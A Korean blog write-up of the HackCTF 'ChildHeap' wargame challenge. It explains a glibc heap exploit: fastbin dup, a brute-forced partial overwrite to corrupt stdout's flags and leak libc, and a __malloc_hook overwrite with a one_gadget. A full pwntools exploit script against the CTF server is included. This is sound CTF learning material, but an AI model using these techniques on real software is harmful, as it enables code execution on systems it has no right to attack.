ChildHeap 본문
코드 구성은 간단했다.
1번 메뉴에서 원하는 사이즈와 인덱스로 malloc을 할당한다.
2번 메뉴에서 원하는 인덱스를 free 한다.
babyheap 문제 처럼 fastbin dup을 진행하려 했으나 어떤 식으로 libc_base를 leak 해야 할지 몰랐다.
인터넷을 참고했다. stdout의 flag를 조작하여 put함수가 실행되었을 때 주소를 출력하게 만들 수 있다고 한다.
먼저 libc_base를 leak 하는 과정을 살펴보도록 한다.
unsorted bin을 생성하기 위해 0x80 이상의 크기를 할당해주었고 나머지는 fastbin으로 할당받는다.
0번째 를 free 하면 main_arena+88의 주소가 나올 것이다.
unsortedbin에 첫 번째 malloc이 들어간 모습이다.
stdout을 조작하기 위해 밑줄 친 주소를 수정해야 한다. 하위 1.5byte는 같기에 0.5byte를 브루트포싱을 진행하면 된다.
?5dd 로 수정하면 된다. 그럼 7f를 size로 인식하여 fbad2887를 수정할 수 있게 된다.
0x7ffff70a4343이 아니라 0x7ffff7dd?5dd 로 덮어야 하는데 일단 임의의 byte를 삽입한 모습이다.
fastbindup을 이용해 stdout에 data를 써준다.
이렇게 stdout의 주소가 나오는 것을 확인할 수 있다.
그리고 다시 fastbindup을 이용해 저번 문제 babyheap처럼 malloc_hook에 one_gadget을 덮어준다.
exploit code
from pwn import *
context.log_level = 'Debug'
libc = ELF('./libc.so.6')
def add_malloc(idx, size, data):
time.sleep(0.1)
p.sendlineafter("> ", "1")
p.sendlineafter("index: ", str(idx))
p.sendlineafter("size: ", str(size))
p.sendafter("content: ", data)
def free_malloc(idx):
time.sleep(0.1)
p.sendlineafter("> ", "2")
p.sendlineafter("index: ", str(idx))
while True:
#p = process('./childheap')
p = remote('ctf.j0n9hyun.xyz', 3033)
add_malloc(0, 0x80, "AAAA") # unsorted bin
add_malloc(1, 0x60, "AAAA")
add_malloc(2, 0x60, "AAAA")
free_malloc(0)
add_malloc(0, 0x60, "\xdd\x25") #_IO_2_1_stdout - 0x43
free_malloc(2)
free_malloc(1)
free_malloc(2)
add_malloc(2,0x60,"\x00")
add_malloc(0,0x60, "A")
add_malloc(0,0x60, "A")
add_malloc(0,0x60, "A")
try:
add_malloc(0,0x60, '\x00'*0x33 + p64(0xfbad1800) + '\x00'*25)
except:
p.close()
continue
p.recv(0x48)
leak_stdout = u64(p.recv(8))-131
print("-----------------"+str(hex(leak_stdout)))
break
libc_base = leak_stdout - libc.sym["_IO_2_1_stdout_"]
malloc_hook = libc_base + libc.sym["__malloc_hook"]
one_gadget = libc_base + 0xf1147
add_malloc(0, 0x60, "AAAA")
add_malloc(1, 0x60, "AAAA")
free_malloc(0)
free_malloc(1)
free_malloc(0)
add_malloc(0,0x60,p64(malloc_hook-35))
add_malloc(1, 0x60, "AAAA")
add_malloc(1, 0x60, "AAAA")
add_malloc(0, 0x60,"A"*19 + p64(one_gadget))
p.sendlineafter("> ", "1")
p.sendlineafter("index: ", "0")
p.sendlineafter("size: ", "16")
p.interactive()
stdout의 flag를 0xfbad1800로 수정한다. 마지막 \x00를 25개 넣는 이유는
_IO_write_base를 00바이트로 수정하여 출력 값을 늘리기 위해서인 듯하다.
fastbindup을 진행할 때 data를 보내는 영역에서 sendlineafter를 사용하면 EOF에러가 나온다. sendafter를 사용하였다.
이것 때문에 어이없게 오랜 시간 삽질을 했다.
너무 어려웠다.
'wargame > HackCTF' 카테고리의 다른 글
Unexploitable #3 (0) | 2021.12.24 |
---|---|
babyfsb (0) | 2021.12.22 |
j0n9hyun's secret (0) | 2021.12.21 |
babyheap (0) | 2021.12.21 |
Unexploitable #2 (0) | 2021.12.17 |